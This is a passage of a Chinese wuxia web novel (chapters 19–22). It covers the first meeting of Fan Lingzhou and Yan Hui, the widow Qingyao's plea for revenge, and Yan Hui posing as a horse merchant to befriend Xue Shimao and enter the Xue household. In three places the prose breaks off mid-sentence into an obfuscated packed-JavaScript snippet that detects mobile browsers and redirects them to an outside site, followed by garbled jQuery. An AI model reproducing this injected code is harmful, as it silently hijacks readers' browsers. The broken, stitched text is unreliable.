他也并非是全然不懊恼的，只是他知晓晏回的性格，生怕惹她愠怒，是以晏回不说，他便也从来不问。今时今日，心中的疑团被楚庸直愣愣地道出，倒生出些许怅然之意。 范凌舟与晏回的初遇，源于一场血腥的误会。 那是初成立的长生观接的第二个委托，无论是范凌舟还是手下之人都尚有些生疏，一不小心，竟让那复仇的对象趁乱逃了。这一下，连一向惫懒松懈的范凌舟都着了慌，命令全观人手都出去寻那逃脱之人。 众人一路找一路追，最后冲入了一处废弃的大宅。外面是大雨滂沱，宅中是鬼气森森，伸手不见五指，众人只能依靠天空中不时划过的闪电分辨前路。好在范凌舟耳聪目明，将那人从一尊歪倒的佛像后揪了出来，就地正法。 众人皆长出一口气，正欲撤离之时，范凌舟却又出手如电，探向佛堂的供桌之下。说时迟那时快，供桌下的阴影里，一道纤细身影如匍匐的猞猁骤然杀出！范凌舟足尖一点，身形如纸鸢般飘后丈许，堪堪避过直刺心口的短刃。 范凌舟挑眉，看向那随着呼吸而微微颤动的人影。那人身形单薄，左臂不自然地垂着，显是受了伤，持刃的右手却稳如磐石，看身形竟是一位姑娘。 “这位姑娘，”范凌舟语气平静，带着几分笑意，“我等追凶至此，与姑娘无冤无仇，何必出手便是杀招？” “草菅人命之徒，人人得而诛之！”女子腕花一转，再次扑来。她的身法诡异狠辣，招招直取要害，却因左臂使不上力，动作间终究是落了下风。范凌舟侧身避过她的扫堂腿，指尖在她刀背上一弹，只听“嗡”的一声，短刃竟自脱手，“哐当”砸在供桌前面的地上。 还不待范凌舟再做解释，那女子竟不顾门户大开，合身撞了过来，灵活的右手闪电般探向供桌——那里摆着一个硕大的青铜香炉，炉灰厚积，香灰中隐约有着火星。 范凌舟瞳孔微缩。这姑娘分明是玉石俱焚的打法！他旋身欲擒住她的手腕，却见她猛地掀翻香炉，炉灰劈头盖脸地洒满了二人所在的空间。 “嗤——” 那女子动作如风，不知何时从怀中摸出了火折子，冲着空中猛然吹亮。火星遇着干燥的香灰，骤然爆发出刺目火光！“轰”的一声爆响，浓烟裹挟着火星冲天而起，将整个佛堂照得亮如白昼！ 范凌舟被火气唬得立时偏头，眼角余光却死死钉在那火光中央—— 19. 生死签（二） 那是一张被爆燃的火焰映得雪白的脸。紧蹙的眉，紧抿的唇，以及一双在火光中亮得惊心动魄，琥珀般的眸。雨水从她湿透的发梢滴落，混着额角的血珠，划过下颌线，坠在墨色的衣襟上，洇出更深的黑。 在这样一个被倾盆暴雨浸湿的夜里，范凌舟只从那女子身上看出四个字。 不死不休。 那是一种比任何美貌都更加深入人心的震撼，那是从死亡和绝望中磨砺而出的锋锐，到如今回想起来，范凌舟还是不得不为之动容。 楚庸若有所思地点了点头，轻声道：“晏回姑娘，的确是世间罕有的美人。” 范凌舟瞬时露出一种暴殄天物的痛心疾首，大声纠正道：“楚兄，你简直是牛嚼牡丹！那是美吗？那是我花开后百花杀的气势啊！”接着又叹了口气，意犹未尽道，“西楼，天生该是长生观之魁首。” “所以，你就将晏回姑娘请入了观中？” “自然”，范凌舟点头道，“这般龙鸣之剑，岂能屈居石鞘之中——” 话音未落，院门被猛地推开了，无论是倾身耳听的楚庸还是惫懒歪坐的范凌舟都不由得站起身来。 “救人。”范凌舟口中的“龙鸣之剑”正快步走进院中，背上还负着一个全身是血的人。 * * * 青杳只觉自己躺在一条于风浪之中颠簸的小船上，每一次波动与拍击，都让她承受着锥心刺骨的痛。意识像是沉在冰水里，时而模糊时而清醒，眼前却总晃动着薛负的脸。 她的负郎…… 寒夜里将她的脚揣进怀里的负郎，笨拙地学做她爱吃的桂花糕的负郎，站在巷口替她赶走恶犬的负郎，从来不曾对她疾言厉色的负郎…… ——杳娘，族里有要事相商，要我去祠堂一叙，午饭便不要等我了。 那日离去前的负郎还是笑眯眯的。 ——噤声！莫让他们听了去！ 可回来时的负郎，却仿佛被人摄去了魂魄，满目惊心。 ——逃啊！杳娘，逃啊！ 薛负无声的呐喊穿透了时空，在青杳的耳畔炸响。 她伸出手，想要抓住什么，却只捞到一把凄冷无望的海水。泪眼朦胧间，她抬头望去，只见天空裂开一道缝，刺目的白光踏山蹈海而来，青杳终于缓缓睁开了眼睛。 入目是灰扑扑的帐顶，鼻尖萦绕着浓重到近乎苦涩的草药气。青杳只觉浑身的骨头像是被人一一砸断又连接，稍一动弹便疼得令人几欲作呕。 “……断了六根肋骨，内腑震荡出血，能撑过这七日已是万幸。”一阵清冷的女声从帐外传来。 “万幸？哎……她若再不醒，我这金镯子可就要全数算作她的买药钱了……” “哦哟，大狐狸，从死人腕上褪下来的东西，你倒是不嫌晦气！” “什么晦气，没钱才晦气！” 帐外，晏回仿佛没听见范凌舟和唐珠儿聒噪的争执，正认真翻阅着一卷医书。楚庸则垂首一旁，眉头紧锁。窗外的雨幕时松时紧，却始终淋漓不停。 这时，帐帘微微掀动，方才还躺在床上的青杳，一用力滚到地上，枯瘦的手还拼力探向晏回的方向。 “求……求恩人救……小女子夫君一命……” 许是多日未曾言语，青杳的声音嘶哑破碎，难以卒听。 楚庸欲上前搀扶，又恐男女有别，强行止住了步子，向唐珠儿看去。唐珠儿会意，砸吧了一下嘴正要上前，却见晏回放在身后的手，微微摆了摆。 “你的夫君？”晏回放下手中的书卷，轻声道。 “是！小女子的夫君……薛负，与小女子一道被人追杀，被人……吊在树上，生死不知……”每说一个字都牵扯着肺腑的伤，青杳哽咽不成句。 “那日在悬崖下，我只寻到了你。”晏回定定地看着她，字字清晰，“更何况，从你昏迷到醒来，早已过了七日。” 青杳只觉晴天霹雳，整个人不可抑制地簌簌抖了起来。七日，竟然已经过了七日吗？那负郎……如何还有生路啊！一口热血直冲心口，青杳一张嘴，一团鲜红便呕了出来。 “哎呀……刚喝了药……”唐珠儿小声叹道。 楚庸更是感同身受，惶急地朝晏回看去，而晏回的面上却始终一派平静。 “负郎若死，我亦无法独生——”青杳伏在地上，泪水噼里啪啦地砸了下来，语气却是坚定如铁，“让恩人作难了……” “想死——倒也不是不可以。”始终未发一言的范凌舟悠悠道，“只是这位夫人，观中也没有余粮了，为了救你，贫道可是一个金镯子都搭上了。你若这般死了，怕是有些不厚道吧——” 跪在地上的青杳忍着剧痛缓缓叩头，口中哽咽道：“小女子身无长物，唯有来世结草衔环，报答——” “姑娘！”一声断喝，让所有人都不由一怔，竟是楚庸冲上来，蹲在青杳面前，也不顾男女大防，用力扶住对方孱弱的肩膀。“这些日子来，你梦中喊的念的夫君，若泉下有知，当真希望你随他而去吗？他难道不是拼尽全力才换得你逃生吗？为什么你好不容易才醒转过来，第一件想到的事，却是再次送死呢！” “姑娘，与其懦弱就死，为何不——血债血偿！” 青杳怔怔抬起头，看向面前的男子，他双目泛红，似乎承受着和她相同的锥心之痛。因为大病初醒，又加上强烈的情感波动，她很难完全理解目前的情形。但不知为何，对这些素未谋生的男女，青杳却起了同病相怜之感。 她总觉得，这些人经历过与她相似的苦楚，也压抑着与她相似的愤怒。而此刻，那掩藏在心中的隐隐的怒火，即将燎原。 一丝清浅的笑爬上晏回的嘴角，她抬步上前，倾身看向青杳。午后的阳光斜斜流溢而入，将她细碎的发丝镀上一层金边，她背向着光射入的方向，将青杳笼罩在一片充满安全感的阴影之中。 “所以，你想报仇吗？” * * * “薛家在济南府经营数代，手眼通天，不可硬闯。青杳只知薛负被追杀，却不知具体是谁下的手——这第一步，得先查清仇人是谁。”昏暗的石室之中，范凌舟以扇击掌，若有所思道。 “这还用查啊，”唐珠儿仰着脖子，将一粒饱满的花生抛入口中，“那小娘子不是说了，薛负是参加完祠堂议事后才遭人追杀，定是撞破了族中什么不堪的秘事，这才枉死。”她眯起眼睛，嘴角勾起一丝玩味而兴奋的笑：“咱们就查他们族里管事儿的，一查一个准！” 楚庸看看胸有成竹的唐珠儿，又瞅瞅轻摇折扇的范凌舟，最后把目光投向始终一言不发的晏回。这是他加入长生观以来，第一次有幸参与筹谋计划，生怕多说多错，是以始终缄口不言。但他相信，晏回姑娘心中早已有了计较。 只见女子的食指正缓缓在桌面上划过，隐约可见一个“薛”字。 “薛氏一族，主事者有三。老大薛承宗，多疑冷僻；老二薛承业，贪婪爱财；老三薛承文，低调伪善，皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184819|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非好对付的角色。” 范凌舟闻言，颇有默契地微微一笑。晏回此人，若无百分之百的把握，绝不会将计策宣之于口。 “西楼，这么说，你是找到好下手的软柿子了？” 晏回颔首道：“或可一试。” * * * 辰时刚过，济南府西门外的丁字街已是人头攒动。水汽混着马粪味儿，吆喝声合着骡马嘶鸣，人群拥挤马蹄踢踏，好不热闹，正是一月一度的马市盛会。众商贩牵着千里迢迢运来的马匹，从泺口码头汇集至此，经马市官验放后入市交易。而这其中聚了最多人流的，当属丁字街北头的“王记马行”。 据说，王记马行新上了数匹辽东来的“走阵马”，神骏非凡，是能驮着主人冲阵厮杀的硬茬儿，绝非北直隶的驽马可比。是以，济南府各处的“马痴”们皆纷纷前来围观。 “让让！都让让！”一声脆亮的马鞭声在空中炸响，惊得围观人群慌忙向一旁让去。只见数名小厮护着一名华服公子排众而出，占据了观马的好位置。 “哟！这不是咱薛小爷吗！贵客贵客！”一见来人，马贩子王五六赶紧迎了上来，脸上笑容璀璨，如同一朵密密匝匝绽放的菊花。 来人正是济南府薛氏的幺爷——薛世茂，此人嗜马如命，更兼之出手阔绰，不计性价，只图痛快，是马贩子们求之不得的人物，人送诨号：马迷瞪。 “小爷，您快上上眼！”王五六眉开眼笑地翻开一匹黑色大马的马耳，指给薛世茂看，“您细瞧，宣府马市的火印，咱这可是官验过的‘上马’。” 最后“上马”二字，王五六刻意提高了声量，恨不得喊到周围所有人的耳朵里去。是时，官市将马匹分为上上马、上马、中马、下马、驹五级，价格差异悬殊，马的素质更是天差地别。能被官市列为“上马”的良驹，绝对算得上百里挑一的好马了。 闻言，薛世茂浓眉一挑，命令道：“瞧瞧牙口。” “得嘞！”王五六赶紧按住马下颌，拇指顶开马唇。 薛世茂只是略略瞟了一眼，砸吧了一下嘴，目光却飘向了那黑色大马的身后。 “诶——”只此一眼，薛世茂竟是有些出神，移步过去，只见一匹枣红色的马儿正立在晨光之中。那马儿浑身如同泼了朱砂，一根杂毛也无。鬃毛极是柔顺，泛着一层金红色的光晕，竟是辽东特有的“燎原火”！ 据说，真正的燎原火能够日行三百里不喘，夜奔山道如履平地，甚至面对火铳轰鸣都能听而不闻，是为战场神驹。 这次，薛世茂已经等不及王五六替他掰开马唇看牙口了，自己便探手过去，岂料手还没碰到马毛，那马儿却起了性子，猛地甩头，唾沫星子溅了他一脸。 见此情形，王五六吓得脸色发白，薛世茂却毫不在意，笑赞道：“好马！” 他“刷”地收起摇动的折扇，盯着枣红马的双眼灼灼发亮：“让它走两步看看。” 王五六哪敢推辞，捉住枣红马的缰绳，就欲带它去马市的空地上转转。可那枣红马性子上来了，哪里肯依，见王五六作势拉扯，突然原地腾跃半尺，后腿飞踹，前蹄落地却悄然无声。 生怕马儿伤人，人群呼啦啦散了开去，连薛世茂的小厮们都下意识后退了数步，唯有薛世茂满脸喜色，如同见了肥鱼的猫儿一般，眼神都不转了，连连赞叹：“当真踏雪无痕！这气势，这傲骨，简直是赤兔再世啊！” 薛世茂的眼里早没了旁人，忘乎所以地朝着枣红马扑去。 20. 生死签（三） 见薛世茂又犯了“痴病”，王五六吓得赶紧拦阻，口中喋喋着：“小爷使不得，这马崴拉得很，鞍鞯还没上呢！” 薛世茂哪里肯听，一把薅住马鬃，仗着蜂腰猿臂，翻身跃上：“爷就是稀罕它的性子，若是它——啊！” 话音未落，燎原火已如离弦之箭窜了出去。街边正有小贩挑着筐卖豆腐，被人立而起的燎原火吓得一个踉跄，豆腐块豆腐渣洒了一地。此时，人们正躲避马蹄的踩踏四散而逃，无数双脚踩在滑腻的豆腐上，当下便跟下饺子般摔倒了一片，吃痛声惨叫声不绝于耳，而燎原火早已负着薛世茂往泺源门的方向奔去。 “祖宗诶！”王五六急得直拍大腿，呵斥呆愣在原地的小厮们：“还不快追！” 一行五六人在王五六的带领下，跌跌撞撞而去。 话说马背上的薛世茂初始并不觉得怕，他压低身子伏在马背上，能清晰感受到马腹下的肌肉起伏鼓动，每一步都踏在心跳的节奏上。风从耳边呼啸而过，行人惊恐的脸如同高低错落的麦浪，薛世茂只觉自己化身冲入敌阵的将军，大喊一声：“杀啊！”双腿用力一夹马腹，催促燎原火跑得更快些。 可当燎原火带着他，从泺源门的守城官兵头顶一跃而过，冲入城外的蒿草丛中时，这位从小娇生惯养的世家公子才觉出怕来。 “吁——吁！”他一紧缰绳，妄图让飞奔的燎原火慢下来。孰料，他在马背上忙活得满头大汗，又是呵斥，又是命令，燎原火不仅没降速，反而顶着劲儿越跑越快。薛世茂着了慌，拼命拉扯缰绳，燎原火一甩头，后蹄猛地向上撩起，差点儿把薛世茂从背上掀翻下来。 薛世茂只觉头脑一片空白，大腿不受控制地哆嗦起来，方才壮怀激烈的将军，此刻成了惜命如金的懦夫，只一个劲儿的哑着嗓子喊：“吁——吁吁！别跑了吁！” 可惜，老天今日对薛世茂的作弄还未尽兴，面前绵延无尽的蒿草地被一条河流生生截断，水波喧嚣，河面宽广，而那燎原火似乎铁了心要冲入大河之中！ ——完了，今日就要交待在这了…… 薛世茂不会浮水，若真随那燎原火冲入河中，只怕马上就能沉底儿。危难之际，薛世茂一狠心，松开被自己拽得汗涔涔的缰绳，深吸一口气，护住头脸，作势要往马下跳！ 耳边是呼啸而过的风声，脸上是肆意流淌的热泪，薛世茂闭紧了眼睛，只待那痛彻心扉的一撞！ 下一瞬，薛世茂只觉腰上一紧，一股绵长之力袭来，斜飞而出的窘势被那力道立时扶正，随着惯性在空中转了两圈，脚下一硬，竟是稳稳触到了地面。 “兄台，当心。”耳畔的男声清俊温和，文质彬彬，让薛世茂心头微松，小心翼翼地睁开了眼睛。 眼前，立着一位穿松绿衫子的青年公子，面色白皙，萧萧谡谡，整个人端望着清秀非常，尤其是一双琥珀色的眼瞳，温文带笑，让人见之心喜。唯一美中不足的是，那双眸子下泛着淡淡的青色，带出了几分病气。青年公子背后站着一匹白马，亦是皮毛如玉，莹然生光，饶是薛世茂此刻三魂吓没了七魄，还是偷眼多瞧了下。 “兄台未上鞍鞯，便能骑此烈马，西楼佩服。”青年公子似乎对薛世茂方才的险境毫无所觉，真心实意地赞扬道。 “是……是吧！”薛世茂佯装甩头，赶紧擦了把额上的冷汗，笑道：“兄台你也不错，若没有你帮忙，只怕我……怎么着也得踉跄两步吧！” 青年公子也不点破，与薛世茂相视而笑。薛世茂嘴上硬挺，可心里清楚得很，若没有刚刚这位公子的一拽一拉，他极有可能被飞奔的惊马踏于蹄下，别说什么面子了，恐怕连命都会送了去。所以，男子可算得上是他的救命恩人。而这位恩人不仅没有得理倨傲，反而温和有礼，谦逊忍让，让平日眼高于顶的薛世茂打心眼里生出亲近之意。 “在下薛世茂，敢问兄台高姓大名？” “在下晏回，字西楼——” 正说着，薛世茂见远处又跑来三人，一名书生打扮的年轻男子，一名杏面桃腮的小丫鬟，还有一名长相普通着短打的中年男子，三人将青年公子围了起来。 “公子！你可吓死奴婢了！”小丫鬟嚷道，同时怒气冲冲地瞪了薛世茂一眼。 “是啊公子，正算着账呢，你人就跑没了，原来——”那书生打扮的年轻男子打量了一下薛世茂，目光颇有些戏谑之意，“是为了救这位公子啊！” 唯有中年男子没有说话，只是牵着白马侍立一旁。 这三人，正是乔装改扮的唐珠儿、范凌舟与楚庸。 薛世茂被众人说得有些不好意思，挠了挠头，道：“倒是耽误了晏兄的正事儿，这样，正好到了吃饭的点儿，就由我做东，请诸位在聚丰楼一叙，诸位可愿赏光？” 范凌舟和晏回对视一眼，轻摇折扇，悠悠道：“公子，既然这位薛公子如此盛情，我等再推辞便是矫情了。咱们初到济南府，人生地不熟，若是由薛公子给咱们说说这府城的风土人情，自是再好不过了。” 唐珠儿一听有好吃的，眸子一亮，脸上也带了笑意，冲着薛世茂甜甜道：“薛公子，奴婢听闻济南府有一名吃，唤作‘把子肉’，聚丰楼里可能吃到？” 女孩儿双瞳剪水，一派天真可爱，薛世茂胸中的几分狼狈早已化作世家公子的万丈豪情，只觉若是照顾不好这几位远道而来的客人，自己在济南府便再也混不下时日了，当下拍着胸脯道：“莫说是把子肉，自要是诸位想吃的，便是天上的龙肉，薛某也定要给诸位薅下来！” 众人说笑间，薛世茂的小厮和王五六终于姗姗来迟，而那差点儿惹下大祸的燎原火也没有跑远，一直在河畔啃食青草。一行人牵着马，闹闹哄哄地往聚丰楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184820|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而去。 * * * 聚丰楼三楼临湖的雅间内，薛世茂岔开双腿，大马金刀地坐在主位上。过不多时，聚丰楼的掌柜便亲自赶来雅间伺候。见那掌柜的深吸一口气，鼓起胸膛正欲报菜名，薛世茂脸色一板，斥道：“自家馆子还报什么报？自管把最好的最贵的呈上来！”掌柜的陪着笑脸，喏喏而去。 唐珠儿掩嘴佯笑道：“公子，你瞧，薛公子好不威风！” 薛世茂嘴角不受控制地扬起，心中竟是比吃了蜜还要甜上几分，身边小厮见状，赶紧锦上添花道：“晏公子有所不知，聚丰楼本就是咱自家产业，自然是咱小爷说得算。” “诶——”薛世茂造作地一抬手，拦道：“与晏公子说这些没用的作甚，我只是觉得，晏公子风度翩翩，君子如玉，这偌大的济南府，也唯有聚丰楼能配得上晏公子的身份品性。” 薛世茂此言非是讨好吹捧，而是出自实打实的真心。他青睐晏回年纪轻轻便武功了得，比自己有过之而无不及；更佩服晏回明明如此风姿卓绝，却偏低调内敛，让人见之难忘。 晏回轻摇折扇，笑得温文：“薛公子说笑了，薛公子出身世家大族，却毫无纨绔习气，任侠率真，浑然天成，恰如未经雕琢的璞玉，虽有棱角，却自带着一股鲜活生动的少年意气。能与公子这般性情中人同席，倒是西楼的福气。” 薛世茂只觉内心激荡，一股暖流直冲天灵盖，年近弱冠，他自是知道周围人都如何议论他。当着他的面儿，皆是少爷公子的喊着，可背地里，又有几人真心与他相交呢？可偏偏这位萍水相逢的晏公子，他看出了他的率性，读懂了他的真诚，如何不让薛世茂心潮澎湃呢？ 缓慢摇动扇柄的素手被猛然挟住，晏回一扭头，正撞进薛世茂晶莹闪亮的瞳仁里：“晏兄！你——”薛世茂的声音里都带了几分颤抖，“你自今日始，便是我薛世茂异父异母，嫡嫡亲的弟兄！” “诶！上菜咯！”二人的手还没握热，范凌舟已经一把抢过小二手中的托盘，从二人之间挤了过去。擦肩而过的间隙，薛世茂只觉寒意顿生，定睛细看，范凌舟低眉浅笑，似乎毫无芥蒂。薛世茂疑惑地挠了挠头，还以为是自己今日遇险，不免杯弓蛇影，只得作罢。 菜品如流水般涌入雅间之中，薛世茂上蹿下跳地给众人介绍着。 这一场席下来，众人吃得酒足饭饱，倒把薛世茂累得瘦了三斤。待看着众人都面露餍足之色，他方才松下劲儿来，卷了几卷大饼吃。 “都说济南府‘一菜一味，百味不重’，今日才算见识了。”范凌舟用筷子挑起一块白嫩的鱼肉，饱沾了糖醋汁，送入口中。 “是啊，公子，咱们这府城算是来对了。”珠儿笑着道。 闻言，薛世茂放下给晏回添酒的酒壶道：“对了，不知西楼兄来咱济南府，所为何事啊？” 21. 生死签（四） 晏回微微一笑，眼睛朝楼外的西北方瞟了瞟，正是马市所在：“倒是来抢那位王掌柜的生意的。” ——王掌柜？王……王五六！？ “贩马！！”薛世茂腾地站起身，双眸炯炯如朗月映江。 “是呀，我家公子可是官验的马商呢，专跑撒马儿罕到中原的商路，一年至少两个来回。”唐珠儿竖起手指，在薛世茂已然入迷的眼前晃了晃，“别说是我家公子了，就是奴婢，闭着眼睛走那凉州路，都不带崴脚的！” “珠儿，不得造次。”晏回眼见唐珠儿吃得满意，嘴上便没了把门的，吹嘘起来天花乱坠，赶紧出言阻止。可薛世茂哪里知道，还当晏回是个有身份的，需得低调行事，便赶紧压下声调，小心翼翼道：“这么说，西楼兄此番来济南府，是带了马？” 晏回以折扇掩口，微微颔首：“自是带了马。” * * * “西楼，我瞧着啊，有些人是该戒酒了。”范凌舟靠在美人榻上，翘着二郎腿悠悠道。 一枚果核以迅雷不及掩耳之势直扑范凌舟面门，范凌舟状若无意地偏头躲了去，就听唐珠儿已然骂将起来：“少在这儿指桑骂槐，什么这人那人的，臭牛鼻子，你不就是说我吗！” “让你听出来了呀！”范凌舟眯眼笑道，“贫道还以为咱们小班主喝了几壶酒就辨不出东西南北，分不清轻重缓急了。” “晏回姊姊，你看他！” 晏回轻轻叹了一口气：“吵嘴无益，那薛世茂既然嚷着要看马，便定然要给他个说法才是。” “要不……我趁夜——”唐珠儿蹙起眉，眸里现出一抹戾色。 “打住打住，这人还有用。”范凌舟赶紧摇头。 “晏姑娘，可有什么办法？”憋了半日的楚庸终于问出了一句。 晏回细长的手指有节奏地敲击着桌面，良久方道：“怕是要请竹帖了。” * * * 三日后，薛世茂如约来到历山下的一处草场。 草场位于山脚背阴处，碧野连天，一望无垠。正值盛夏，又逢夜雨，将草场之中连绵相接的湖泊悉数填满，莹然闪亮，远远望去，如同一串价值连城的东珠点缀在美人颈间。而湖泊之间又偶有花甸显现，其上鲜花盛放，迎风招展，美不胜收。 薛世茂深深吸了一口气，极目远眺，正自出神，却忽觉地面隐隐震动，初时如闷雷滚过，转瞬便化作密集的由远及近的“哒哒”声。只见草场与天际线的交接之处，一道灰黑色的洪流正冲破晨雾，裹挟着疾风奔涌而来。 领头的那匹白马神骏异常，四蹄翻飞间，银鬃如瀑，马背上的人影却稳如磐石。晏回换下了那身松绿的衫子，一身玄色劲装勾勒出利落腰线，往日温文带笑的眼瞳此刻锐利如鹰。她单手控缰，身姿随着马匹的奔驰起起伏伏，宛若乘风破浪的鲸鲵，哪里还有半分病弱书生的模样，活脱脱便是纵横西域的商队首领！ 此时，不光是薛世茂看呆了，便是他身后跟随的数名小厮，也难掩惊奇，啧啧出声。 及至马群奔至近前，薛世茂等人都能感受到马群喷响鼻的热气时，闻听一声清叱，骑在马背上的晏回一扯缰绳，身下的白马前蹄凌空一顿，便如扎入泥地的羽箭一般，除了银白的马尾还在轻轻晃动外，马身便定在原地，一动不动了。紧随其后的数十匹骏马也纷纷人立而起，嘶鸣声此起彼伏，却无一匹冲撞上前，齐刷刷地停在薛世茂眼前。 这一手惊为天人的御马之术，让薛世茂与众人只能目瞪口呆，木讷拍手，连溢美之词都忘了说。 晏回收敛一身杀伐果断之气，冲薛世茂微微一笑，翻身下马，拱手道：“不知在下的马，薛贤弟可还瞧得上眼？” 闻言，薛世茂赶紧直起身子，背着手，饶有兴致地端详起来。除了第一次曾见过的照夜白，薛世茂几乎是一匹一匹，仔仔细细地看过去，唯恐疏忽错过。他一会儿蹲下身看看马蹄，一会儿凑近了摸摸马耳，一会儿又离远了瞅瞅马骨架，一番上蹿下跳，眉头却是越皱越紧。 见他始终不言语，几个跟着薛世茂的小厮也看出了端倪，初始被杀下去的狂傲劲儿也上来了，其中一个愣头青便不咸不淡地小声嘟囔道。 “小的瞧着，这马也不咋地。” “可不怎地，马嘴都黑黑的，跟舔了圈儿芝麻糊似的。”另一名小厮帮腔道。 “还有这毛，乱哄哄的，一点儿也不顺滑。小爷不是说过吗，好马就得毛亮条顺！” 几个小厮越说越起劲，倒都摆起伯乐的谱儿，品头论足起来。 晏回也不恼，只是笑着立在一旁，手中的折扇微微摆动，悠闲得紧。 “都给我闭嘴！”就在这时，薛世茂突然怒喝一声，他似乎强自压抑着内心的情绪，连声音都微微发颤：“黑嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184821|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……卷毛……阔蹄……这是……这是……” 他不敢置信地看向晏回，却见对方笑着颔首，似是认同他未曾说出口的话语。 “这是……多年未曾出现的拳毛騧啊！” 晏回眸色一亮，赞道：“薛贤弟当真慧眼如炬，这群马正是——拳毛騧！” 相传，拳毛騧乃是唐太宗李世民的战马，是为“昭陵六骏”之一。因其周身旋毛卷曲、毛色黄黑相间而得名。拳毛騧稳重悍勇，屡立战功，更是在平定刘黑闼的战役中一战成名。唐时对拳毛騧的记载最为详实，不仅见诸史料石刻，更是于诗文中屡屡出现。然自宋代以后，拳毛騧就逐渐消失在史文瀚海中，再难得见了。 薛世茂本就是马痴，此刻更是心潮澎湃，难以自持。自见到晏回的第一面，他便认定这位“异姓兄弟”同他一般，乃是当世豪杰，日后定能有大作为。今日见了这么一大群拳毛騧，他更是笃定了心中所想。 只见薛世茂敛容正色，拱手一拜：“西楼兄！” 薛世茂突然行此大礼，晏回一惊，慌忙让开，却被薛世茂一把抓住了手腕，满是热忱道：“西楼兄！你是人中龙凤，又有这般天马神驹，岂是寻常客栈和草场能安置的？他们……他们也配！？今日你务必随我回府！” “小弟不才，在砚池畔亦有一处草场，牧草丰美，泉眼甘甜，便是给昭陵六骏当行宫也使得！” 晏回浅笑着抽回手，垂眸道：“贤弟美意，西楼心领了。只是这拳毛騧性子烈得很，当年太宗皇帝都需专人驯牧，寻常马厩的木栏可关不住它们，万一惊扰了府中上下……” “兄长过虑了！”薛世茂恨不得将心肝掏出来以示诚意，“砚池畔的草场比这里还要大上数倍，四周更有天然石山相阻隔，莫说几十匹拳毛騧，便是再来百匹天马也容得下！”见晏回仍在犹疑，薛世茂急得像苍蝇般直搓手，“兄长若信得过小弟，那马场你尽管用！住多久用多久，分文不取！只求能让小弟日日瞧上一眼这神驹天马……兄长！小弟求您了！” 晏回望着远处在晨雾中甩尾的马群，忽然轻轻勾唇，那笑意顺着眼角细纹漾开，极快地散了开去，再也难寻：“既是如此，那愚兄却之不恭了。” 薛世茂登时眉开眼笑，一叠声地“好说好说”，忙不迭地催促着小厮牵马备车。他兴冲冲地走在前面，全然未瞧见晏回合拢折扇，在掌心中轻轻一击。 22. 生死签（五） 因着薛世茂异于常人的热情与真诚，晏回等人不得不立即启程，前往薛府安置。忙活了大半日，除了留在砚池马场看护马匹的楚庸，晏回、唐珠儿和范凌舟于傍晚时分，踏入了薛府会客的花厅。 夏季日头落得晚，此时正是晚霞漫天，烫红的夕阳顺着花厅的弦窗流泻而入，铺陈满地，映得整个厅堂都红彤彤的，呈现着一种略显调诡的热闹喧嚷。与那万红一窟的色调相反，花厅中的氛围却略显严肃冷硬。 甫一踏入厅堂，晏回便微微抬眸，将堂中三人一一看过。端坐于主位的是薛世茂的父亲，薛氏一族的当家人薛承宗，已过耳顺之年，鬓发斑白，脖颈微微向前勾着，倒是符合这个年纪该有的疲惫之感。 与薛承宗的凝然不动截然相反，族中二叔薛承业则活泛得多。他身材颇胖，肥腻的项子从宝蓝色的衫子领口处挤了出来，在下巴处堆成一叠，随着他夸张的笑声一颤一颤。他手里盘着两颗油光锃亮的核桃，正自咔嗒作响，见晏回等人到来，赶紧停了手上的动作，殷勤地站起身，向里迎着：“贵客贵客！来，快请快请！” 坐在最左侧的三叔薛承文也随之站了起来，微微倾了倾身，眼神却只是往晏回面上略略一瞟，随即便闪了开去，端坐在一旁不动了。 “诸位，我来介绍一下！”薛世茂一个箭步蹿到近前，笑容灿烂地张罗着。“爹，二叔，三叔，这就是我跟你们提过的晏回公子，从西域来的大马商！” 晏回笑着拱手，态度极为谦和：“在下晏回，见过薛老爷，二爷，三爷。”身后的范凌舟与唐珠儿也随着晏回见礼。 “哎呀，莫要多礼，莫要多礼！”薛承业抬手去搀，却听薛承宗冷冷蹦出一句：“马商……若要从西面入府城，想必是经过了卧牛山吧！” 始终惫倦垂着头终于缓缓抬起，抬眼看向晏回，浑浊的瞳仁里沁着冷光，那种审视尖刻的打量让人心底里不快，晏回却是温声应道：“薛老爷说得是，正是经过了卧牛山，山路难走，还耽误了几日行程。” “可是听闻什么异事？” “异事……”晏回笑容坦荡，面色平静如常，“小侄只顾赶马，如履薄冰，倒是没有心思打听什么异事，范掌柜，你可听闻？” 范凌舟翘起嘴角，左侧脸颊漾起一个纯良且正直的笑涡：“回公子，未曾。” 